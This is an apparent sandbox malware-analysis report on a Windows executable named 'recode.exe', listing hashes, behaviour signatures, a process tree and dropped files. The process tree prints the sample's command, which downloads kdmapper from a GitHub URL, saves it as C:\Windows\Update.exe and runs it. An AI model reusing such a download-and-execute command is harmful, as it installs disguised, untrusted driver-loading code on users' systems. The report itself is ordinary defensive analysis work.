Analysis

  • max time kernel
    118s
  • max time network
    124s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    11-05-2024 19:46

General

  • Target

    recode.exe

  • Size

    1.4MB

  • MD5

    bdd59ba7267f819a41854a3f16d24259

  • SHA1

    4f31c541d2d37b0f7124c47bf2345a2dfd772bc4

  • SHA256

    7cd158131b672caa78fc1e4446e0b328f8fbe9a7900a71cca55e778a1596801a

  • SHA512

    2f18823e6e049cfb77dcf8631f938937af339c9faa836131d91aa32fe70c065ee2ae5bebb168dde295753dc39fb42a3b23d29c2994bed8ac5336e0cc7d4972b0

  • SSDEEP

    24576:Fxg7i+ZkpNStkZ2ptmSyzNcMhuoe95bKnMuGKFGR5BXyX1sU:dpNStNkSyJTuoC5mnYFU

Score
1/10

Malware Config

Signatures

  • Checks processor information in registry 2 TTPs 8 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 13 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\recode.exe
    "C:\Users\Admin\AppData\Local\Temp\recode.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2284
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/Vexigg/Fortnite-External-Source-WIth-Prediction/main/External%20With%20Prediction/build/kdmapper_release.exe --output C:\\Windows\\Update.exe >nul 2>&1 && C:\\Windows\\Update.exe
      2⤵
        PID:228
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\recode.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:204
        • C:\Windows\system32\certutil.exe
          certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\recode.exe" MD5
          3⤵
            PID:4232
          • C:\Windows\system32\find.exe
            find /i /v "md5"
            3⤵
              PID:2052
            • C:\Windows\system32\find.exe
              find /i /v "certutil"
              3⤵
                PID:628
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c cls
              2⤵
                PID:5076
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\ConfirmPublish.bat" "
              1⤵
                PID:3844
              • C:\Program Files\VideoLAN\VLC\vlc.exe
                "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\Desktop\ResetEdit.mp2v"
                1⤵
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:3104
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:1872
                • C:\Windows\system32\ipconfig.exe
                  ipconfig
                  2⤵
                  • Gathers network information
                  PID:2184
              • C:\Windows\system32\mspaint.exe
                "C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\StartStep.jpg" /ForceBootstrapPaint3D
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:3432
              • C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\PaintStudio.View.exe
                "C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\PaintStudio.View.exe" -ServerName:Microsoft.MSPaint.AppX437q68k2qc2asvaagas2prv9tjej6ja9.mca
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:2976
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:236
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                  2⤵
                  • Checks processor information in registry
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  • Suspicious use of WriteProcessMemory
                  PID:2204
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.0.630101592\163186700" -parentBuildID 20221007134813 -prefsHandle 1692 -prefMapHandle 1684 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ba1aae9b-1161-4612-8472-22b5ba0376f6} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 1780 230f7fd8158 gpu
                    3⤵
                      PID:5028
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.1.364958697\298094741" -parentBuildID 20221007134813 -prefsHandle 2124 -prefMapHandle 2120 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {11604a9d-79f8-44af-aeb1-299ddc6922de} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 2136 230ecc70758 socket
                      3⤵
                      • Checks processor information in registry
                      PID:2692
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.2.19019797\471390520" -childID 1 -isForBrowser -prefsHandle 2756 -prefMapHandle 2868 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {43b3bb4f-c032-4710-857a-a947c0aac577} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 2940 230f7f5f458 tab
                      3⤵
                        PID:2872
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.3.1978909313\948299583" -childID 2 -isForBrowser -prefsHandle 3480 -prefMapHandle 3476 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1b6e6f00-cc3d-4bf5-9844-33baaa489f06} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 3492 230ecc62858 tab
                        3⤵
                          PID:1168
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.4.336344738\1431150857" -childID 3 -isForBrowser -prefsHandle 4188 -prefMapHandle 4184 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6e4e6ba7-cec8-4295-b1d8-6fa149130ed2} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 4200 230fdcf7258 tab
                          3⤵
                            PID:2416
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.5.2067984355\720830941" -childID 4 -isForBrowser -prefsHandle 4900 -prefMapHandle 4896 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4bd69fb5-a3e5-47b7-a388-dc787efbf69a} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 4912 230febd2058 tab
                            3⤵
                              PID:5312
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.6.1724729355\1673197798" -childID 5 -isForBrowser -prefsHandle 5056 -prefMapHandle 5060 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8ef18c13-15db-4282-879a-a88c740ae6c7} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 5044 230febd2658 tab
                              3⤵
                                PID:5328
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.7.634358181\1794515200" -childID 6 -isForBrowser -prefsHandle 5260 -prefMapHandle 5228 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab06070c-04a6-469e-88c1-6266e407dcbc} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 5340 230fee3f358 tab
                                3⤵
                                  PID:5340
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2204.8.1367676821\235219934" -childID 7 -isForBrowser -prefsHandle 5364 -prefMapHandle 5512 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1332 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7be62e8d-e867-4c7d-892c-7b127981b42e} 2204 "\\.\pipe\gecko-crash-server-pipe.2204" 5260 230f9480f58 tab
                                  3⤵
                                    PID:5476

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\41eh5pdr.default-release\cache2\doomed\3984

                                Filesize

                                9KB

                                MD5

                                2f3ebf588c63f398ca9d789e82ab0b93

                                SHA1

                                d95d91679b132cc4c67cfd702cd9553e5a161b0e

                                SHA256

                                d48eac455979040982b5a1d2e8d9644fa6e023ba3bc7fe75b69a15a73af1f572

                                SHA512

                                9299021fb2f1482035b5f736507f8f448428e1b514cb3ef97d6be0f1459e8180b75d55b1b6720d0481baed694edc9eef779b06e85b8122ce982ce751ff2f06aa

                              • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\41eh5pdr.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

                                Filesize

                                7KB

                                MD5

                                c460716b62456449360b23cf5663f275

                                SHA1

                                06573a83d88286153066bae7062cc9300e567d92

                                SHA256

                                0ec0f16f92d876a9c1140d4c11e2b346a9292984d9a854360e54e99fdcd99cc0

                                SHA512

                                476bc3a333aace4c75d9a971ef202d5889561e10d237792ca89f8d379280262ce98cf3d4728460696f8d7ff429a508237764bf4a9ccb59fd615aee07bdcadf30

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\LocalState\Projects\Projects.json

                                Filesize

                                2B

                                MD5

                                d751713988987e9331980363e24189ce

                                SHA1

                                97d170e1550eee4afc0af065b78cda302a97674c

                                SHA256

                                4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                SHA512

                                b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\LocalState\Projects\Projects.json.~tmp

                                Filesize

                                232B

                                MD5

                                85fa09e9c7af0ef1603704a1c13549fa

                                SHA1

                                21a74f66559eb83055842089417d016b3862dfd1

                                SHA256

                                28cbc9a48082a3112b433cd1a06c293fbf0b4cef998ba70eb7d8afd196e0456d

                                SHA512

                                515a7f742a677beda9d43d7bd2ca47cb65fdd223a0480916c7d1be62761203d49da7bce5f3f319dfe063309732a59e566ab66ecd0e3d2b7daf99056a2ba839dc

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.MSPaint_8wekyb3d8bbwe\LocalState\cloudCommunitySettings.json

                                Filesize

                                2KB

                                MD5

                                404a3ec24e3ebf45be65e77f75990825

                                SHA1

                                1e05647cf0a74cedfdeabfa3e8ee33b919780a61

                                SHA256

                                cc45905af3aaa62601a69c748a06a2fa48eca3b28d44d8ec18764a7e8e4c3da2

                                SHA512

                                a55382b72267375821b0a229d3529ed54cef0f295f550d1e95661bafccec606aa1cd72e059d37d78e7d2927ae72e2919941251d233152f5eeb32ffdfc96023e5

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\datareporting\glean\db\data.safe.bin

                                Filesize

                                2KB

                                MD5

                                aea2bf0d0319d5b368c9656fefc1a679

                                SHA1

                                74dfd239c2dd3d78c8f743f2550be7b925a62b53

                                SHA256

                                9419489a27c32c489c4627a31138c40f2b7b072169de5f097278327ba9e66ad9

                                SHA512

                                c1b19c68d99eeff3574f8557179d3df475f5d482faad83aa91bb95c7a28ffefc33b6698b1fe3c90acf5d99b69481a63ac701dd5f61d044206c923a0fdab3a79e

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\datareporting\glean\pending_pings\71aa96e9-9575-4e26-9b9d-f355e04e3836

                                Filesize

                                11KB

                                MD5

                                cba9bbf345dfe9a75c6599013219b154

                                SHA1

                                d7ed7a1685acdfd89c8e089c0cf59e062c9d15db

                                SHA256

                                fb4a75765c2ee1d36e9787ee0eb11a8f0543af5900ce4d12d385a8984796df88

                                SHA512

                                ed1e6d73ff04a27653065d5fc7b348fbbc9e73bd7e171a71f86d63f0e8c7e9fe803f34271d665747522086d74f01f47cd8d89f6183a2d92a6c680a68c66b6cab

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\datareporting\glean\pending_pings\ec7e86bd-5440-4bf9-959b-4352398d3431

                                Filesize

                                746B

                                MD5

                                0ef80e3a023925e5c2c5644b0086f595

                                SHA1

                                3dffe29dd99603ae5895194b469f3e1e7e4fd8a3

                                SHA256

                                eb34bd1515ecf1c8b5d4dff2771b3b2ebb4f91362893443e13b4c9adecb63824

                                SHA512

                                93d46bc759ac788cb447842d12ea88f1b938d84c4fe8a9922ef3fdfa2c015f4c11419d587a9adff9a8e6d7caa429b0cdfcdecee532fcb456041f8f31b94b224e

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\prefs-1.js

                                Filesize

                                6KB

                                MD5

                                9e99c0327a22ead5b2f7efb7d6cec1db

                                SHA1

                                0266303a065b9509eae48cb1b58f1ec86431c3ba

                                SHA256

                                1585f0ff63dddda4d3912203447c229778bebf1623c4611c427b857319acd667

                                SHA512

                                e68bb6ed11f45e75ccd7a9d1384b1abf97014d0f1e1dce4456d3b04f9ce4ba85510800b0268239ca9dd649042b4cdda51188014b9f305138f6fa22e5b6e29bd9

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\prefs.js

                                Filesize

                                6KB

                                MD5

                                0fff1df915d7675c41740cb882a82e6d

                                SHA1

                                83b624b800f69a01c887832347b5a217b4464830

                                SHA256

                                727ba36e9090e6abc5f4f7107465f57a3c000878236e5fdb4bd0119b4fa67f36

                                SHA512

                                192a0c9758fac3f445f99c2577a1621ad675ee8c8d750a7b6674325e5d2f4b51d1100a2833c1789658b45a8931e73f5707d69d7cd69fa18013735cd092548cf0

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\prefs.js

                                Filesize

                                6KB

                                MD5

                                57cc49583bbcdf10fb856966e4448878

                                SHA1

                                234f192f8d412430a370331c7cd805f3707b4b17

                                SHA256

                                432c0506f34fdc866b258c18db3d2381e35b2c0e4575653d58e016dd541309fd

                                SHA512

                                e1ba6b529f89af342b0f374f3dfaf0ac2a4170510baa753282890948c3a2a36eab4efec540bb821059d5840bae8138c0e718f95b5e1b3d1dd48724d96cd9b708

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\sessionstore-backups\recovery.jsonlz4

                                Filesize

                                4KB

                                MD5

                                3258aae4e0912f43746ac9a58ff1383a

                                SHA1

                                d3d634b2d691b40b6c4675e8a25238f0578a737d

                                SHA256

                                3604d41c3d5884b521c81637f696ea3c6239fb6c69d12fc073da4a877e387fbe

                                SHA512

                                669de4e71016a35740cf6175f21c1f1eaef9f2286d6c2da0c8c01e3e96defcec18490c6137968c8387a4c700216e16b0c6b0c2aea78e9e290b9a0bccb8e35070

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\sessionstore-backups\recovery.jsonlz4

                                Filesize

                                3KB

                                MD5

                                790b2d74e5aa2400b4f089c2e7ef2195

                                SHA1

                                d8825b2deecf86aadda345acef6ece1fa31dd9d1

                                SHA256

                                05a1c502697367f9d44f77cc9ef501707a66cd3491f64b8f19c895929de741c1

                                SHA512

                                b6a3991394a8b96e67108781dfb7cc4f8387d1811093c6e578d070cbe73cce06da049b92132a5c6a444c08e7b1307feed9b46dd055a762c895fe319e3487aa54

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\sessionstore-backups\recovery.jsonlz4

                                Filesize

                                4KB

                                MD5

                                03545a93d9dc7267f351f0f9b463c67f

                                SHA1

                                3880b35363abc0f78c9aef8948eb6890672bf3e2

                                SHA256

                                25c52ac40793b557fb8cf8df25185350bb0890e29fd38cb797677ed7a617fee0

                                SHA512

                                e81f84119fb3b53fdfd68dfc4d4ddd9424bfbb34f69b3bb78d2c92e0a34095b03409622505d78863d3592a9fb377531bd3b7306d9ba57602aafb02cdfc8b44c0

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\41eh5pdr.default-release\sessionstore.jsonlz4

                                Filesize

                                5KB

                                MD5

                                786c053fc333e70b8ad40922af0327d9

                                SHA1

                                9bf7702067d216deb735dd7501366e86145b44ec

                                SHA256

                                8aa0a8e5acee4944dc908a8a4f31f0ddd7c3b935ba8db3d6bf9a5a4032ae46ef

                                SHA512

                                c92729ee6338d2c38d6cd74c08a23dbbaa3c7138be107f31abacd44c55aeaa5abca9dc6d12632b189f9092229f3d39bd3ff7d9480fdf56cdf29b7bbcad5b402c

                              • memory/3104-13-0x00007FF8FD950000-0x00007FF8FD984000-memory.dmp

                                Filesize

                                208KB

                              • memory/3104-15-0x00007FF8E85C0000-0x00007FF8E9670000-memory.dmp

                                Filesize

                                16.7MB

                              • memory/3104-14-0x00007FF8F8540000-0x00007FF8F87F6000-memory.dmp

                                Filesize

                                2.7MB

                              • memory/3104-12-0x00007FF677230000-0x00007FF677328000-memory.dmp

                                Filesize

                                992KB